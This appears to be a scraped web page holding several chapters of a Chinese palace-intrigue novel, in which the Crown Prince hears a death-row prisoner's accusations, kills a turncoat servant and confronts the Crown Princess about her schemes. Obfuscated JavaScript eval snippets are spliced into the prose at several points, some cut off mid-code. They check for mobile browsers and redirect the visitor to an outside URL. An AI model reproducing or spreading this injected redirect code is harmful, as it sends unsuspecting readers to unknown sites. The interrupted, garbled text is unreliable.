见陆知意脸色微僵,他补充:“太子妃是本宫发妻,又为本宫生儿育女,你不敬太子妃便是不敬本宫,若传出去,又岂非叫人非议我太子府内宅不和?” 他声音轻柔,语气却不容置疑:“你如今病着,便好生养着,不必请安,但日后需再三谨记——敬重太子妃。” 陆知意藏在被中的手紧紧攥起,却笑得脆弱:“妾身一定不会再叫殿下难做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520908|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 萧临微微点头。 答应蒙蔽陆知意是一回事,但也没有为了一个陆知意就委屈崔锦的道理。 他特意叫庆喜送了不少珍宝赏赐来,又留了一刻钟,做足了关心模样,才起身离开。 “本宫晚间再来看你。” 陆知意满眼羞涩地应下。 直到萧临离开,翠环才喜气洋洋地蹲在床边道喜:“恭喜良娣复宠!” “这叫什么复宠?”陆知意轻瞪了她一眼,“位份没恢复,还得敬着崔锦那个**……”她声音压低,却骤然闪过一抹狠厉。 “以太子殿下对您的宠爱,位份恢复是迟早的事,而正院……只要您牢牢拿捏住太子殿下的心,正院又算什么?恐怕三个野种加一块也比不得您一根头发丝儿贵重呢。” 陆知意眼神这才缓和下来,带着得意:“那是自然!” 她就知道,萧临喜欢的就是她这般肆意张扬的女子。 而崔锦? 不过是占着个正妻名头,与萧临的颜面绑在一起,这才引得萧临维护几分罢了。 这次是她错算了萧临对自己颜面的看重,才叫崔锦母女侥幸赢得一局,但接下来……她不会再失手了! “对了。”翠环看了眼外头,小声开口,“方才崔儒月那里传了消息过来,奴婢听着……像是真的。” 她悄悄凑近陆知意,耳语几句。 “好孕……”陆知意蓦然止住话头,眸光闪动,带着惊喜与恶意。 若此事为真,崔锦这个太子妃,或许就做到头了。 三个用好孕丹才生出来的东西,能叫祥瑞? 妖孽还差不多! …… 萧临出了沁芳院,便往正院走去。 独宠陆知意,便非得要冷落崔锦? 蠢货才会二选一。 哪怕是与陆知意做戏,也没有因此忽视崔锦和三个孩子的道理。 后院人心复杂,他要给足崔锦脸面和底气,才能震住那群见风使舵的人。 第一百四十二章 亲耳听崔儒月的证词 正院,崔锦刚用过早膳。 萧临进门看到一桌几乎没被动过的饭菜,不由蹙起眉:“怎吃得这么少?可是身子不适?” 他打量了崔锦几眼,见她脸色不是很好,便要叫庆喜去请太医。 “无碍。”崔锦轻笑了笑,“只是早间没什么胃口罢了。” 萧临微顿:“是因为我去了沁芳院的事?” 他挥退下人,握住崔锦的手,低低开口:“陆氏还有用,我不能太过冷落,她对你的伤害,我也始终记得……锦儿,你再等些时日,我一定给你个交代。” 陆家谋反事关重大,不能随意泄露。 崔锦身为后宅之人,即便曾受周大儒教导,眼界不浅,却也难免有小女儿家的娇气,吓到不说,若露了怯,传出什么风声便不好了。 片刻后,崔锦抬眸笑了笑:“我信殿下。” 萧临眼神微松,抱着她柔声说了好一会儿话,确认哄好了人,才看过孩子们后匆匆离开。 今日他为陆知意而辞了早朝的消息已经如野草疯涨般传遍了太子府,而沁芳院那如流水一般抬进去的赏赐更叫不少人看红了眼。 锦瑟院内,亦是药味浓郁。 婢女端着药进门,下一瞬却尽数倒入了窗边的花盆中。 “侧妃,近日陆良娣失宠,您本该乘势而上的,却偏偏避她锋芒,现在可好,那位复宠了,咱们平白浪费了大好机会。” 冯书仪坐在床上,懒懒翻着书,眉目平淡:“你只看她风光,却不知这风光也是有代价的。” 婢女不解:“风光……还能有代价吗?” 冯书仪垂眸不语。 这冯家当真不成器得很,也不成规矩,给她挑的贴身婢女竟也是如此蠢笨之人。 也就胜在忠心了。 翻完一本书,她交给婢女:“再拿一本诗词集过来。” “是。”婢女将书拿过来时,不由劝道,“您别只顾着看书,也得休息着些,省得累坏了身子。” “我有分寸。” 冯书仪再次翻起诗词书来。 女主是大儒之徒,才华满腹,她既然要走女主这条路,自然要投其所好——女主身边有叶挽棠一个蠢货怕是已经够了,她自得另辟蹊径,得她青眼才能图谋后路。 而男主……他久战沙场,说是喜欢**那般肆意浓烈的女子,可连他自己都没察觉到,他更欣赏腹有诗书,才气外溢的女子。 大抵是他自己越没有的东西,就越向往吧。 若这女子还有绝色容貌,能撒娇会体贴,背后有强大家族势力,更为他解决了无嗣问题……他怎能不钟爱倾心? 嘴上嘀咕着利益为重,身体毫不犹豫去为女主挡剑。 他超爱的。 冯书仪唇边泛起嗤笑,又翻了一页书。 她虽看不上男主这种恋爱脑的脏黄瓜,但作为他名义上的女人,讨好是必要的。 多看书,出口成章,才能被他高看一眼。 婢女见状,不敢打扰她看书,轻手轻脚地出了门。 “侧妃还要装病?”另一个婢女问。 得到肯定的回答,她叹了口气:“沁芳院起来了,正院更是从未倒过,而叶侧妃靠着正院,在府里更是头一份的脸面,却只剩下我们……” 满府称得上正经主子的也就这几位。 若侧妃还要装病,怕是要叫人轻视了。 明明一手好牌,还有淑贵妃做靠山,怎就能怕事成这样? …… 接连几日,萧临的态度都十分明显——沁芳院赏赐不断,他更是得空就去陪,一时叫陆知意风头无两。 但府里谁也没敢就因此轻视了正院。 因为萧临再宠陆知意,也每日必抽出时间去正院。 给正院的赏赐更是从未少于沁芳院。 其实他即便不做到这份上,仅凭崔锦自己的手段,还有三个孩子和周大儒,也没人敢轻视她。 但对一个人上了心,便连所有可能会有的委屈都不想叫对方受。 萧临表面一碗水端平了段时间,终于到了年关。 仅剩三日就要过年了。 陆知意的病终于养好,她兴高采烈地缠着萧临出去玩:“整日在府里多闷啊,妾身更是被关在屋里大半个月,今儿殿下一定要陪妾身出去走走! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520909|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她缠得紧,萧临今日又的确无事,便点了头。 半个时辰后,马车停在了顺天府外。 萧临眼神冷了下来。 陆知意没察觉到他的眼神,娇声开口:“妾身知道殿下心中还有心结,但当时……妾身的确是被崔儒月蒙骗的,妾身不愿叫殿下再误会,便想您亲耳听听崔儒月的证词。” 顺天府尹已经出来迎接了。 萧临踱步下车,脚步快的陆知意险些跟不上。 “罪妇崔氏已被判了年后处斩。”顺天府尹禀报着,“沈大人前些日子也给了休书,如今崔氏正在死牢,殿下与良娣这边请。” 到了地方,陆知意摆手叫顺天府尹下去,还挥退了所有狱卒。 萧临重面子,她就不能叫这种事传出去——至少现在不能。 死牢里光线昏暗,还带着股浓郁的潮味,四处可见老鼠匆匆跑过。 最里侧的牢中,崔儒月满头乱发,神色呆滞地抱膝坐在冷硬的木板床上,盯着最上头那仅有两个巴掌大的窗户出神。 她哭过闹过,也挣扎过,但都于事无补。 心气已经灭了。 听到脚步声,她慢半拍地反应过来。 在看到萧临和陆知意时,她愣了一下,忽然笑了:“你终于来找我了?是想知道崔锦的秘密吧?” 见萧临皱起眉,隐有不耐,她眼底陡然闪过一抹浓烈的不甘,以及痴迷的向往:“我本该是你的正妻,我才是你的正妻啊!” “若非崔锦那个**抢走好孕丹,我岂会落得如今下场?!” “我……我本来还有选择的,是崔锦,是她夺走了我的姻缘和人生!!” “好孕丹?” 陆知意状似惊讶:“这、这是什么药吗?” 她装得不像,但崔儒月乐意为她解惑:“好孕丹,顾名思义,自然是使人易孕的丹药了。” 她不怀好意地一笑,看向萧临,话里带刺:“好孕丹,只要同房即可有孕,可为何崔锦与你同房那么久后都未曾有消息呢?曲神医的药,不该有错才是啊。” 听到曲神医的名字,萧临瞳孔微缩。 第一百四十三章 锦儿并非为贪慕权势才嫁与本宫 崔儒月一直在盯着他的脸,见状顿时笑了。 “太子殿下被与曲神医渊源不浅,想来对他应该不陌生,既然如此,想查到我所言究竟是真是假,对你而言也不难吧?” 萧临一时没有说话。 陆知意觑了眼他的脸色,捂住嘴,惊讶问:“你此言到底何意?这好孕丹……为何会出现在太子妃手上?” “幼时我父亲结了政敌,他在我与崔锦跟随祖母去宝华寺上香时捉了我们,想以此要挟父亲,但因被侍卫及时发现,他情急之下只能喂了我们**……后来继母请来了杨院首,但毒却只解了一半,而另一半,父亲遍寻良医后,找到了曲神医,制成同心丹和好孕丹做解药。” 她看向萧临,扯唇笑着:“崔锦与沈之珩定亲,本该服不能生子的同心丹,她却抢了好孕丹,执意嫁给你,明白了吗?从来没有什么我和沈之珩蓄意换嫁,一切都是崔锦谋划的!她心机深沉,贪恋权势富贵,抢走了我本该有的人生!” 她说了一大段话,但落在萧临耳中,却只被一句“她抢了好孕丹,执意嫁给你”击得心头狂跳。 没有换嫁,崔锦从一开始,就想嫁给他。 她的眼里心里,从来没有沈之珩半分存在感,甚至能为了他违抗父亲,背叛长姐,夺走好孕丹。 陆知意不知道他在想什么,但以防万一,立刻问崔儒月:“她吃了好孕丹也可嫁给沈之珩,只要解了身体里的毒不就行么?” “呵。” 崔儒月冷笑一声:“彼时还是信王的太子无嗣,父亲想博一把,崔锦自也想博一把,她自幼就是这种心机深沉,贪慕权势的人!” “而我……我与沈之珩两情相悦,即使被夺了好孕丹,我也让着她,点头答应换嫁,可到头来……到头来却成了一场笑话!”崔儒月止不住地笑,笑着笑着,眼角却渗出泪来。 新婚之夜,沈之珩根本就没有吃下另一半同心丹! 他嘴里的深爱,究竟有几分? 亦或一分都没有。 若当真爱她,又怎会在新婚夜迟疑,冷眼看她自己吞下同心丹,冷眼看**侵蚀着她的身体,冷眼看她费尽心机与方芸争他宠爱,最后却迎娶方芸,给她休书,给她致命一击。 她为何在进死牢后没了心气? 因为她才知道沈之珩根本就没有服用同心丹! 她的身体,早就是**之末了。 就算不被**,最多也只能撑几年时间罢了。 但在这最后的时间里,她也不允许崔锦好过!崔锦抢了她的人生、她的风光,凭什么能在她死后还高枕无忧,坐上皇后之位? 她该与她一起死! 带着那三个贱种一起下黄泉! 想到这里,她又忍不住长笑起来,几乎止不住脸上晃眼的笑容,连眼角都笑出了眼泪。 “你说错了一句话。”萧临忽地道。 崔儒月和陆知意都看向他。 “锦儿并非为贪慕权势才嫁与本宫。”他眉眼间溢出笑意,声音中肯有力,带着十足的底气,“她是因为心悦于我,才使劲手段抢走好孕丹,嫁给我。” “……” “……” 崔儒月和陆知意都震惊了。 崔锦的目的这般明显,甚至已经将野心写在了脸上,他……还觉得崔锦是纯爱他才嫁的? 萧临有这么蠢么? 片刻后,崔儒月回过神,冷笑:“她若真爱你,岂会不顾你无嗣的困境,拖到成婚一年多才有孕?太子殿下,自欺欺人不要紧,可若看不清枕边人的真面目,怕是**的都不知道。” 萧临皱起眉,不满她措辞恶毒。 但还是为崔锦解释:“她自是有苦衷……那时本宫独宠**,又屡屡伤她的心,她岂敢就此怀孕,被**那等恶妇针对,若本宫再偏向**,岂非伤透了她的心?” 说到这里,他倒有些庆幸崔锦服了避子药。 若她在刚嫁进来时就怀孕,那时他仍被**的伪善蒙蔽,在**针对崔锦时,他必然会偏向**……也必然会伤透崔锦的心。 又哪还有现在这般讨喜可爱的儿女? 崔锦是对的。 她素来睿智。 崔儒月沉默了。 陆知意也不知道该说什么。 她带萧临来,不是听他夸赞崔锦那个**如何深情似海的。 “太子殿下——” “砰——” 萧临抬掌落下不过须臾,死牢门塌了大半,凌厉的掌风 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虽然不知道崔儒月一个弱女子是怎么隔着牢门刺杀武功高强的太子的,但这不重要。 听话就对了。 …… 萧临出了顺天府,陡然转身,凌厉冰冷的眼神扫向陆知意:“今日你听到了什么?” 陆知意**过武,杀过人,也见过血。 可此刻还是被萧临眼底酝酿的浓烈杀意吓得脸色惨白。 好半晌后,她才找回自己的声音:“妾身、妾身什么都没有听到。” 萧临这才敛眸,转身时道:“若叫本宫知晓外头有关于此事的丝毫风声——” 顿了一瞬,他才想起这会儿该偏宠以迷惑陆知意。 话头一转:“你不会想知道一个父亲为了保护自己的孩子,能做出什么事来。” 陆知意猛然松了一口气。 原来不是为崔锦,而是为那三个野种。 是了,萧临膝下只有这三条血脉,更关乎他能否坐稳太子之位,他怎会不重视? 第一百四十四章 不忠之辈,该死 上马车后,陆知意迟疑了许久,还是没有指使车夫换条路走。 这条路上还有她为崔锦准备的后手。 萧临……他只是在意那三个野种罢了,听完崔儒月的话,他怎还会对崔锦那种心机深沉的女人有半点情分? 反倒是该趁机摁死崔锦,叫她在萧临心中再也没有丁点位置! 想到这里,陆知意心中稳了些,甚至有些期待地看向外头。 不一会儿,马车经过一条安静的小巷,前方却猛地扑出来一个人,险些撞到马蹄底下。 “啊——” “吁——” 马夫慌忙勒马,突兀而急促的举动叫马车里的人险些没坐稳。 “何事?”萧临沉声问。 马夫忙回:“回太子殿下,是有个乞丐突然冲出来,奴才没有防备,请殿下恕罪。” “太子殿下?” 摔倒的男人愣了一下,眼底猛然一喜:“里面的是太子殿下?求殿下救命啊!” 他跪地就磕起头来,额头与青石板的撞击声在小巷中十分清晰。 萧临掀起帘子,低眸看他:“你是何人,要本宫救你什么?” “回太子殿下,小人姓崔,名叫崔忠,原是崔尚书的心腹!” 听到姓崔,萧临就正了脸色:“是何人要杀你?为何不来太子府求助太子妃?” 崔家的人,当然要保。 但下一瞬,崔忠便声音沙哑道:“要杀小人的正是太子妃,小人岂敢羊入虎口?若非今日巧遇太子殿下,小人、小人恐怕也躲藏不了多少时间了……” 萧临微顿,眼底冷意闪过:“堵上他的嘴,带回府。” 陆知意正听得起劲,闻言便是一愣。 “殿下,这崔忠瞧着衣衫褴褛,形容狼狈,身上还有不少伤,能不能坚持到回府都是未知数,依妾身看,还是该尽早审问——” 后面的话在萧临冷厉的眸光中,渐渐低了下去。 “你言下之意。”萧临声音平静,“是该叫此人当众吐出什么不利太子妃的东西,好将此事传得人尽皆知?” “妾身不敢。”陆知意忙道,“只是——” “回府。” 车夫立刻动了起来,陆知意也没敢再说话,只是心中仍有不甘。 萧临闭目养神,直到回府下车,他声音才陡然温和下来:“今日吓着你了?” 他看向陆知意,解释:“今日本宫接收到的信息太多,一时有些火气,但不是对你。” 他笑了笑,眼神瞬间柔情满溢:“回去歇着吧,等本宫忙完公务就来看你。” 他容貌俊美,平日又不常笑,陡然温柔小意,低柔轻语时,竟有种满心满眼都是眼前人的错觉。 陆知意心思再多,也到底还是个小姑娘,立刻便羞红了脸,轻轻应下。 “那……那妾身今夜等着殿下。”娇声说完,她媚眼勾人地看了萧临一眼,才盈盈离开。 后方,萧临眼神柔情,眼底却尽是冰冷。 陆知意,还真当他是蠢货了。 在原地顿了一瞬,他匆匆进了书房。 崔忠已经被五花大绑,堵住嘴扔在了屋内。 萧临坐去桌后,微微点头,庆喜忙去拔掉崔嘴里的帕子,低声开口:“说吧。” 崔忠眼底有着惊惧,但还是很快道:“太子妃曾利用我们老爷斗倒**等一连好几位侧妃,我们老爷骤然身亡,她担心自己的把柄被我们这群老爷的心腹捏在手里,自然不会放心,小人……已经是最后一个存活于世的人了。” 他没说假话,在崔父死后,他就意识到自己即将成为崔锦母女案板上的鱼,立刻便逃了。 果不其然,后面一段时间内,崔父身边的心腹死的死,归降崔母的归降崔母。 他不想死,自也想归降。 可先前将崔锦得罪**,他不敢保证自己现身后究竟是后半辈子的安枕无忧还是致命一剑。 兜兜转转,躲躲藏藏,他终于联系上了陆知意。 他不想后半辈子都不能见光,在有机会能弄死崔锦时,自不会犹豫,若能搭上陆家,后半辈子更可风光更甚从前! 见萧临眉风不动,他低下头,将自己知道的尽数和盘托出:“太子妃早就知道**胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520911|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无点墨,李首辅手中的诗词集就出自她手,皇后寿辰上**被揭露抄袭,更是她一手策划。”想了想,他从头说起,“从一开始的**服药陷害、三朝回门,再到后来**是扫把星的传言,都是太子妃在一手操纵。” “她打从进府之初就着手布局,一步步算计得太子与**离心,甚至刻意诱导**引她去客居酒楼与沈之珩私会,以此算计**和崔儒月,而后庄清婉、江柔、梁溶月等人栽倒……背后皆有太子妃的影子。” 崔锦用到崔父的地方不多,所以崔忠并不知道太多内情,但连蒙带猜,他也能说个**不离十了。 五分事实外加五分猜测,还带三分证据,竟也说服得人信了七分。 萧临置于桌下的手倏而握紧,眸光暗了下去。 他良久未言,不知在想什么。 崔忠见有戏,眼神微闪,喉头滚动间,竟涌出一丝沙哑:“从前老爷顾念家族利益与父女之情,甘愿成为太子妃手中的刀,小人亦听命行事,也从未想过要出卖太子妃,可太子妃实在……实在不该赶尽杀绝……” “小人当真不想与主子走到这一步,更不愿成为背叛者啊……” 崔忠说得伤心,竟还真挤出了几颗眼泪。 他说的句句属实,并不心虚,反而心中满是得意——萧临沉默越久,就证明此事对他打击越大。 而陆侧妃上位的可能性也就更大了几分。 今日之后,他崔忠将会一路青云! 他眼底止不住的泛起喜意。 他正要继续开口添把火,却忽地听到上首萧临的声音传来—— “嘴上说着不愿成为背叛者,身体却诚实得很,立刻转投了陆氏。”萧临平静开口,“怎么,觉得她陆家胜过太子妃?” “眼睛真瞎。” 崔忠愣住了。 萧临……是什么意思? 但还未等他想明白,心口就蓦然传来一阵剧痛,他怔愣着低头看去——心口正被一把剑穿透,鲜红的血不断涌出。 意识渐渐模糊之际,他听到的最后一句话冰冷而阴鸷:“不忠之辈,该死。” 第一百四十五章 崔锦手段了得 书房有片刻寂静。 庆喜死死低着头,大气不敢喘一声。 他没想到素来深情善良的太子妃竟有如此心机深沉的一面。 从前只看她被**欺压得忍气吞声,被庄清婉屡屡顶撞而不做惩戒,被梁溶月占尽宠爱而笑容包容,对后院也素来宽容,下手最重的两次也只是被诬陷和危及性命之时,平日里堪称菩萨。 他自幼长于深宫,看多了后妃们的勾心斗角和装模作样,可这太子妃……该说是装得太好么,他竟丝毫没有察觉到她心机深沉的一面。 反而因为她对太子的痴情而心生不忍,有些怜惜。 可到头来,她竟才是藏得最深之人。 **、庄清婉、梁溶月、江柔,还有不少人,竟都遭过她的算计,甚至连太子自己都被**于股掌之中。 庆喜心中多少有些接受不能,但他看着萧临……却只能藏起自己的惊疑。 他如何想不重要,重要的是太子仍旧偏爱太子妃。 正在他心中想法快速掠过时,忽然听到萧临的声音:“你怎么想?” 庆喜一惊,迟疑了半晌,还是如实回道:“奴才觉得太子妃……手段了得。” 他只忠心萧临,从前喜欢崔锦是因为她足够深情,对萧临也无害而有益。 可如今她的心机已经威胁到了萧临,又被问起,他自是实话实说。 萧临沉默了不知多久,轻嘲一声:“你说的对。” 崔锦手段了得。 崔儒月在死牢里的话又不断盘旋于他脑中,与崔忠的话交织在一起,告诉他崔锦心思不纯,不可信任。 “本宫错信了她,是本宫有眼无珠。”他沉声道,“但也该找她问个清楚,不能只信这两人的一面之词,否则叫她知道本宫平白无故又起疑心,不知又要如何使手段去闹。” 说完,他转身就走。 庆喜看了看崔忠的尸体,欲言又止。 崔忠不是两嘴一张就来的——证据都摆你面前了,还一面之词呢? 若要问罪太子妃,不是带着崔忠更能两相对质? 你杀他杀的这么快,不知道的还以为你生怕太子妃的把柄被捅出去呢。 既然心里已经有底,甚至确定了太子妃心机深沉,你还怕她知道你对她起疑心的事? 该怕的不应该是她么? 庆喜憋了一肚子的话,最后还是默默跟上了。 …… 正院。 崔忠被带进府后不久,崔锦就得到了消息。 ——萧临明目张胆带进来的,一点也没遮掩的意思,别说掌控满府的她,就连叶挽棠这种消息不灵通的都知道了。 先前她的确想杀了崔忠灭口,却始终没找到他。 也就没防住崔忠被陆知意安排着撞上了萧临。 崔锦沉思着,在心中不断打着腹稿,并无数次预想萧临会如何试探,继而做出应对。 以萧临现在对她的感情,绝不会一下就给她判了**。 她能周旋的余地很大。 就像当初**纵使做错良多,萧临却总会给她机会一样,而现在她的处境比当初的**好得多,还有三个孩子,在萧临心中的分量必定重于**。 **作死的点在于叫自己伪装的深情被萧临看破,这才收不了场。 所以反向推理,只要牢牢把控住深爱萧临这一点,叫他深信不疑,她就几乎立于不败之地。 崔锦眼眸闪动着,手中的木鱼声不断响起。 “太子殿下安。”外头,如春的行礼声响起。 萧临大步进门,见崔锦放下木鱼,眉眼哀愁,他一顿:“怎么了?瞧你心情不大好。” 崔锦欲言又止,最终还是笑着摇了摇头:“今儿雪大,殿下刚回府,不在前院暖着些,怎又冒风前来?染了风寒可怎么好?” 她忙叫如春去熬姜汤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧临能直接问,或许是已经疲惫到无力去查真相,只想求个答案,或许是因为对她的信任……或在意,上升到了新的高度。 无论前者还是后者,此刻她的答案都不该有半分作假。 停顿片刻后,她目光微闪,有些不自然的愧意与慌乱:“殿下早已从崔忠那里知道了真相,又何必再多问妾身一次?” 崔锦已许久不在他面前带这种恭敬的自称,此刻落在萧临耳中,竟觉出些疏离。 他张口想说什么,话到喉间却咽了下去。 “本宫想听你亲口说。” 崔锦怔了一瞬,垂下眸,声音已带了些哑意:“殿下想听,妾身说便是。” “从进府之初,我便知道**要服药陷害我,所以我换了她的药,反栽赃了回去。”崔锦忽地笑了笑,“怎能算栽赃呢?本就是她要陷害我,我不过挑破她的算计罢了。” “进府没多久,我便从她话中探出了她胸无点墨的事实……一个饱读诗书,能做出千古绝句的女子,怎会连君子远庖厨的真正含义都不明白?所以我想尽办法找到了被她抄袭的诗句,并装订成册送给李首辅,叫她身败名裂。” “还有一些……太多了,我也记不大清。”崔锦语气平静,“反正,她所有的不幸,或是有我做推手,或就是我设计暗算,庄清婉也是,她那般陷害不敬于我,还妄想得到殿下的真心,我怎能容她立足于府?” 听到最后一句话,萧临眉头微动。 “或许还算计过哪些人吧,事过了,我也忘了。”崔锦道,“殿下想要个答案,我便给你——我的确心机深沉,为达目的不择手段、不惜一切代价。” 顿了一瞬,她倏而抬眸,直直看向萧临:“殿下从前没看错我,我的确是这般心机歹毒的女子,你的猜疑一直都是对的,是我骗了你……殿下伤心吗?” 萧临不知道自己伤不伤心。 可看着崔锦分明已经通红到几乎垂泪,却依然强撑着注视他的眼眸,他觉得她很伤心。 是他措辞过于严厉了吗? 萧临一时不知该说什么。 崔锦注视他良久,像是明白了什么,陡然脱力般颤了一下,险些向后倒去,幸而萧临一直握着她的手,扶了她一把。 “妾身明白了。” 萧临一愣,明白什么? “纵然是为情所困,但罪孽就是罪孽,妾身并不无辜。”崔锦声音沙哑,“无论殿下作何处置,妾身都接受,但三个孩子……他们是妾身拼了命为殿下生来的祥瑞,也是支持殿下继位的一大助力,希望……希望殿下好生养着他们。” “若不想叫他们有一个罪人生母,殿下可为他们择选养母。”崔锦手指紧了一瞬,有些艰涩地开口,“陆良娣……很好,殿下喜欢她,她必定是个好姑娘,一定、一定会好生待孩子们的。” 说到这里,她眼泪不受控制地涌出,大颗大颗滚落,像是要落尽一切伤心事。 萧临心里蓦然一疼。 想抬手为她拭泪,却被偏头躲过。 “本宫何时说过要处置你?” 崔锦一愣。 萧临沉声开口:“你是本宫的发妻,是本宫膝下子嗣的生母,此生都是!过往那些人本就持身不正,本宫虽恼你心机深沉,但为了孩子,不会追究你的过错。” 他定定看着崔锦:“过去一切,本宫既往不咎,但日后,你不可再做这种事,本宫给你最高的体面和荣光,无需你与旁人去争!” 那群女人在他这里没有半分价值和感情,崔锦白忙活这么久,争来的净是没用的东西。 但这话不能告诉她。 骗了他这么久,将他和整个后院**于股掌之中,她将他置于何地? 崔锦是该好好敲打了。 要规训一二。 想到这里,他眼神沉了几分。 崔锦愣愣看着他:“谢殿下,妾身……明白了。” 几个字尚未说完,眼泪再次落下,正巧砸在萧临握住她的手上,烫得他心口一缩。 他已经不追究了,她还哭什么? 但掌心的手已被挣开,崔锦起身屈膝:“日后妾身一定做好主母该做的事,不逾矩分毫,妾身绝不会再叫殿下失望。” 她语气恭敬有加。 萧临心中不知为何有些难受,也有些被她生分的态度气到:“你知晓本分便好。” 他转身去偏房看了看孩子们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这夜要进宫赴宴,他才堪堪闲了下来。 冯书仪依旧抱病,便只有叶挽棠与崔锦前去,而陆知意被萧临特地允许参宴。 二门处,萧临到时,崔锦已在马车旁等候,见到他立刻恭敬行礼:“妾身给太子殿下请安。” 萧临脚步微顿:“快起吧。” “呀,竟叫太子妃久等了。” 萧临身旁,陆知意有些惊讶,不知是炫耀还是奚落:“都怪妾身梳妆迟了些,倒反累得您等妾身,太子妃勿怪。” 她微微一礼。 崔锦表情平淡,声音温和:“无妨。” 陆知意顿时笑了:“太子妃——” “既知自己耽搁了时间,便快上马车吧。”萧临皱眉开口,“本宫忙于政务,才从前院过来,太子妃等候一二无妨,你再多话,是要叫本宫和太子妃都等你说完么?” 前后两句话没有任何关联,像是刻意在解释什么一样。 “好嘛,妾身听命就是。”陆知意神色微嗔,娇声开口,“妾身只是想,太子妃好几日未见殿下,怕是心中想念,这才耽搁了些时间,好叫太子妃多瞧瞧您罢了。” 说这话时,她眼底的得得意与挑衅几乎毫不掩饰了。 这几日萧临有多忙,满府都看得到。 可即使如此,他还是日日不落的来沁芳院看她,就算未曾过夜,可肯来就足以证明她的宠爱了——正院这几日可冷清得很呢。 除了赏赐多,彰显她正妻的体面,其他哪能跟她比? 她虽入府晚,可以前的事也打听过几分,即使是崔锦盛宠时,萧临忙于公务也会疏忽了她,哪比得现在……萧临如此紧张在意一个人的模样,崔锦怕是从未见过吧。 想到这里,她掩唇轻笑,余光瞥过崔锦时,满是轻蔑不屑。 即使看到萧临跟着崔锦上了最前头的马车,她也没那么吃醋了。 萧临爱面子,如此不过是顾着正妻的体面罢了。 他真正在意的,只有她陆知意。 “再笑小心笑没了福气。”叶挽棠凉飕飕的声音落下,便翻了个白眼,率先上了马车。 她对陆知意这辈子都喜欢不起来了。 马车缓缓驶出太子府。 前方的车厢沉寂无声,萧临与崔锦对面而坐,一人紧盯对方,一人垂眸不语。 半晌后,萧临开口:“本宫近日事忙,疏忽了你和孩子,你们这几日可好?” “殿下放心。”崔锦回道,“平安和长安长胖了些,成安最近闹得少了,一切都好。” 萧临皱了皱眉:“那你呢?” “妾身一切都好。” 萧临沉默下来,心里有些不自在。 陆家的谋划本没这么快,毕竟要等陆知意站稳脚跟,生下孩子,但永隆帝使了些手段,又透出了些风声,叫陆家自己坐立不安,反心愈烈,连带着京城那几家的动作也大了起来,这几日他忙得每夜只睡两个时辰,其余时间都在处理此事,就连去陆知意院里的时间都是硬挤出来的。 不是不想与崔锦说开,而是实在不是好时机,也没时间细聊。 顿了片刻,他又起话头聊了起来。 发生了这么多事,还被当傻子似的耍了快两年,明明该生气和摆脸色的该是他,可不知为何,沉默的成了崔锦,上赶着的成了他。 进宫后,群臣已经先后都到了。 见萧临身后竟还跟着陆知意,众人都有些惊讶。 陆知意已被降位,按说是没资格来参加年宴的,可萧临竟堂而皇之带着她来了。 再瞧陆知意毫不拘谨,反而十分自然地与萧临说笑,而萧临竟也温和说话的模样,显然是平日里就如此相处惯了的。 本以为陆知意早已失宠的人都大跌眼镜。 若这都叫失宠,那被晾在一旁的叶挽棠岂不是都该进冷宫了? 对面,见陆知意如此受宠,最高兴的莫过于刘蒋这几家了。 这意味着他们的计划又有几分接近成功。 不一会儿,永隆帝与皇后携手进殿,照例说了一番场面话后,他便循例关心起下面人。 头一个便是萧临:“平安他们几个最近身子可好?朕听淑贵妃说,长安夜里有些睡不安稳?” 萧临面带笑容地回:“太子妃慈母心肠,事事亲力亲为,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 